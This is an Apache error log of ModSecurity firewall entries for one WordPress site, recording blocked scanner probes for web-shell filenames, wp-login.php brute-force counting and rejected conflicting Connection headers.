[Thu Apr 23 13:47:38.628350 2026] [:error] [pid 42973:tid 43061] [client 147.135.252.182:37642] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20betflik.aspx"] [unique_id "aemyem6I0QqmmmLTHE107wAAAJI"]
[Thu Apr 23 13:47:40.519050 2026] [:error] [pid 42973:tid 43051] [client 147.135.252.182:37656] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game%20slot.aspx"] [unique_id "aemyfG6I0QqmmmLTHE10-QAAAIg"]
[Thu Apr 23 13:47:42.549043 2026] [:error] [pid 59700:tid 59721] [client 147.135.252.182:37662] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game.aspx"] [unique_id "aemyfpXyGZJFeAIDWtnN_AAAAVM"]
[Thu Apr 23 13:50:42.768841 2026] [:error] [pid 46953:tid 46974] [client 43.166.134.114:45180] [client 43.166.134.114] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aemzMknlpdHh-P6wKbryAQAAAlI"]
[Thu Apr 23 13:59:01.261836 2026] [:error] [pid 42973:tid 43045] [client 104.248.157.6:47204] [client 104.248.157.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.248.157.6, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aem1JW6I0QqmmmLTHE175AAAAII"]
[Thu Apr 23 13:59:03.038031 2026] [:error] [pid 42973:tid 43049] [client 104.248.157.6:47204] [client 104.248.157.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.248.157.6, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aem1J26I0QqmmmLTHE176QAAAIY"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 23 14:19:18.377709 2026] [:error] [pid 46953:tid 46965] [client 208.109.28.118:41242] [client 208.109.28.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.109.28.118, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aem55knlpdHh-P6wKbr1vwAAAkk"]
[Thu Apr 23 14:19:20.193153 2026] [:error] [pid 46953:tid 46958] [client 208.109.28.118:41242] [client 208.109.28.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.109.28.118, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aem56EnlpdHh-P6wKbr1wQAAAkI"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 23 14:21:25.948916 2026] [:error] [pid 25635:tid 25655] [client 85.235.74.161:42790] [client 85.235.74.161] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.235.74.161, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aem6ZcRxv6UsgRGKB3IVZwAAARA"]
[Thu Apr 23 14:21:28.361602 2026] [:error] [pid 25635:tid 25642] [client 85.235.74.161:42790] [client 85.235.74.161] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.235.74.161, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aem6aMRxv6UsgRGKB3IVaAAAAQM"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 23 14:42:17.823088 2026] [:error] [pid 25635:tid 25656] [client 206.189.39.144:59354] [client 206.189.39.144] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 206.189.39.144, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aem_ScRxv6UsgRGKB3IWogAAARE"]
[Thu Apr 23 14:42:19.766958 2026] [:error] [pid 25635:tid 25645] [client 206.189.39.144:59354] [client 206.189.39.144] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 206.189.39.144, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aem_S8Rxv6UsgRGKB3IWpAAAAQY"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 23 14:47:15.364052 2026] [:error] [pid 64998:tid 65010] [client 170.106.161.78:45336] [client 170.106.161.78] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aenAc4V5EysYcTLjmwjW1wAAAcg"]
[Thu Apr 23 15:46:04.582402 2026] [:error] [pid 42973:tid 43062] [client 47.251.82.1:42802] [client 47.251.82.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 47.251.82.1, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aenOPG6I0QqmmmLTHE233QAAAJM"]
[Thu Apr 23 16:10:52.918076 2026] [:error] [pid 65000:tid 65047] [client 103.28.36.210:60028] [client 103.28.36.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.28.36.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aenUDL6vRb9j6psK2Za8CgAAAg4"]
[Thu Apr 23 16:10:54.313627 2026] [:error] [pid 65000:tid 65050] [client 103.28.36.210:60028] [client 103.28.36.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.28.36.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aenUDr6vRb9j6psK2Za8DwAAAhE"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 23 16:11:13.729651 2026] [:error] [pid 42971:tid 43007] [client 20.216.153.175:53095] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/solo1.php"] [unique_id "aenUITEP2_5RswrH8bEKzQAAABU"]
[Thu Apr 23 16:11:14.851299 2026] [:error] [pid 65000:tid 65053] [client 20.216.153.175:57174] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/locales.php"] [unique_id "aenUIr6vRb9j6psK2Za8QAAAAhQ"]
[Thu Apr 23 16:11:14.920933 2026] [:error] [pid 42973:tid 43053] [client 20.216.153.175:20250] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/solo1.php"] [unique_id "aenUIm6I0QqmmmLTHE3CFgAAAIo"]
[Thu Apr 23 16:11:15.724953 2026] [:error] [pid 42973:tid 43058] [client 20.216.153.175:57254] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/solo1.php"] [unique_id "aenUI26I0QqmmmLTHE3CGwAAAI8"]
[Thu Apr 23 16:11:16.596799 2026] [:error] [pid 65000:tid 65052] [client 20.216.153.175:32257] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/solo1.php"] [unique_id "aenUJL6vRb9j6psK2Za8QwAAAhM"]
[Thu Apr 23 16:11:17.329216 2026] [:error] [pid 42972:tid 43037] [client 20.216.153.175:35041] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/locales.php"] [unique_id "aenUJcOAb-3sOknsk4fG2wAAAFU"]
[Thu Apr 23 16:11:18.521033 2026] [:error] [pid 42973:tid 43051] [client 20.216.153.175:57218] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/locales.php"] [unique_id "aenUJm6I0QqmmmLTHE3CJAAAAIg"]
[Thu Apr 23 16:11:19.269573 2026] [:error] [pid 65000:tid 65040] [client 20.216.153.175:36238] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/locales.php"] [unique_id "aenUJ76vRb9j6psK2Za8RQAAAgc"]
[Thu Apr 23 16:11:19.930025 2026] [:error] [pid 42971:tid 43008] [client 20.216.153.175:58045] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/locales.php"] [unique_id "aenUJzEP2_5RswrH8bEKzwAAABY"]
[Thu Apr 23 16:11:20.678852 2026] [:error] [pid 25635:tid 25653] [client 20.216.153.175:35840] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bgymj.php"] [unique_id "aenUKMRxv6UsgRGKB3IdXAAAAQ4"]
[Thu Apr 23 16:11:21.543273 2026] [:error] [pid 25635:tid 25643] [client 20.216.153.175:24765] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bgymj.php"] [unique_id "aenUKcRxv6UsgRGKB3IdXQAAAQQ"]
[Thu Apr 23 16:11:22.433993 2026] [:error] [pid 65000:tid 65042] [client 20.216.153.175:6053] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bgymj.php"] [unique_id "aenUKr6vRb9j6psK2Za8SQAAAgk"]
[Thu Apr 23 16:11:23.242088 2026] [:error] [pid 42972:tid 43031] [client 20.216.153.175:24347] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bgymj.php"] [unique_id "aenUK8OAb-3sOknsk4fG8AAAAE8"]
[Thu Apr 23 16:11:23.919218 2026] [:error] [pid 42972:tid 43020] [client 20.216.153.175:36230] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/pucci.php"] [unique_id "aenUK8OAb-3sOknsk4fG8wAAAEQ"]
[Thu Apr 23 16:11:24.708790 2026] [:error] [pid 65000:tid 65043] [client 20.216.153.175:36236] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/pucci.php"] [unique_id "aenULL6vRb9j6psK2Za8TAAAAgo"]
[Thu Apr 23 16:11:25.434146 2026] [:error] [pid 42972:tid 43017] [client 20.216.153.175:20251] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/pucci.php"] [unique_id "aenULcOAb-3sOknsk4fG9wAAAEE"]
[Thu Apr 23 16:11:26.131711 2026] [:error] [pid 43083:tid 43103] [client 20.216.153.175:22060] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/pucci.php"] [unique_id "aenULjC5hrvNXosL83JRzQAAANI"]
[Thu Apr 23 16:11:26.871934 2026] [:error] [pid 64967:tid 64972] [client 20.216.153.175:20275] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/blocks/details/"] [unique_id "aenULoAV4GfOOdX8QzpXqQAAAYM"]
[Thu Apr 23 16:11:27.636393 2026] [:error] [pid 46953:tid 46975] [client 20.216.153.175:22017] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/blocks/details/"] [unique_id "aenUL0nlpdHh-P6wKboF5wAAAlM"]
[Thu Apr 23 16:11:28.327809 2026] [:error] [pid 42972:tid 43016] [client 20.216.153.175:57247] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/blocks/details/"] [unique_id "aenUMMOAb-3sOknsk4fG-gAAAEA"]
[Thu Apr 23 16:11:28.934907 2026] [:error] [pid 65000:tid 65044] [client 20.216.153.175:24379] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/blocks/details/"] [unique_id "aenUML6vRb9j6psK2Za8VAAAAgs"]
[Thu Apr 23 16:11:29.618741 2026] [:error] [pid 42972:tid 43027] [client 20.216.153.175:6016] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/.dj/index.php"] [unique_id "aenUMcOAb-3sOknsk4fG_AAAAEs"]
[Thu Apr 23 16:11:30.261679 2026] [:error] [pid 42972:tid 43021] [client 20.216.153.175:23513] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/.dj/index.php"] [unique_id "aenUMsOAb-3sOknsk4fG_wAAAEU"]
[Thu Apr 23 16:11:30.946012 2026] [:error] [pid 43083:tid 43104] [client 20.216.153.175:6021] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/.dj/index.php"] [unique_id "aenUMjC5hrvNXosL83JRzwAAANM"]
[Thu Apr 23 16:11:31.784114 2026] [:error] [pid 42972:tid 43037] [client 20.216.153.175:24761] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/.dj/index.php"] [unique_id "aenUM8OAb-3sOknsk4fHBQAAAFU"]
[Thu Apr 23 16:11:32.627751 2026] [:error] [pid 42972:tid 43019] [client 20.216.153.175:45518] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/blocks/audio/"] [unique_id "aenUNMOAb-3sOknsk4fHBwAAAEM"]
[Thu Apr 23 16:11:33.336730 2026] [:error] [pid 64967:tid 64969] [client 20.216.153.175:22065] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/blocks/audio/"] [unique_id "aenUNYAV4GfOOdX8QzpXqwAAAYA"]
[Thu Apr 23 16:11:34.163227 2026] [:error] [pid 59700:tid 59720] [client 20.216.153.175:45540] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/blocks/audio/"] [unique_id "aenUNpXyGZJFeAIDWtnoIwAAAVI"]
[Thu Apr 23 16:11:34.999033 2026] [:error] [pid 64967:tid 64984] [client 20.216.153.175:57999] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/blocks/audio/"] [unique_id "aenUNoAV4GfOOdX8QzpXrAAAAY8"]
[Thu Apr 23 16:11:35.696342 2026] [:error] [pid 42972:tid 43024] [client 20.216.153.175:32259] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/.tmb/"] [unique_id "aenUN8OAb-3sOknsk4fHEQAAAEg"]
[Thu Apr 23 16:11:36.506768 2026] [:error] [pid 64998:tid 65007] [client 20.216.153.175:23168] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/.tmb/"] [unique_id "aenUOIV5EysYcTLjmwjqRgAAAcU"]
[Thu Apr 23 16:11:37.187170 2026] [:error] [pid 59700:tid 59705] [client 20.216.153.175:24724] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/.tmb/"] [unique_id "aenUOZXyGZJFeAIDWtnoKQAAAUM"]
[Thu Apr 23 16:11:37.905209 2026] [:error] [pid 42972:tid 43040] [client 20.216.153.175:24297] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/.tmb/"] [unique_id "aenUOcOAb-3sOknsk4fHFwAAAFg"]
[Thu Apr 23 16:11:38.761745 2026] [:error] [pid 42972:tid 43026] [client 20.216.153.175:23222] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/one.php"] [unique_id "aenUOsOAb-3sOknsk4fHHAAAAEo"]
[Thu Apr 23 16:11:39.367965 2026] [:error] [pid 64967:tid 64981] [client 20.216.153.175:35054] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/one.php"] [unique_id "aenUO4AV4GfOOdX8QzpXrwAAAYw"]
[Thu Apr 23 16:11:40.237424 2026] [:error] [pid 64967:tid 64970] [client 20.216.153.175:56604] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/one.php"] [unique_id "aenUPIAV4GfOOdX8QzpXsAAAAYE"]
[Thu Apr 23 16:11:40.950504 2026] [:error] [pid 64998:tid 65013] [client 20.216.153.175:24704] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/one.php"] [unique_id "aenUPIV5EysYcTLjmwjqSgAAAcs"]
[Thu Apr 23 16:11:41.728627 2026] [:error] [pid 64998:tid 65002] [client 20.216.153.175:23491] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fi.php"] [unique_id "aenUPYV5EysYcTLjmwjqTQAAAcA"]
[Thu Apr 23 16:11:42.408416 2026] [:error] [pid 42973:tid 43065] [client 20.216.153.175:24313] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bgymj.php"] [unique_id "aenUPm6I0QqmmmLTHE3CUgAAAJY"]
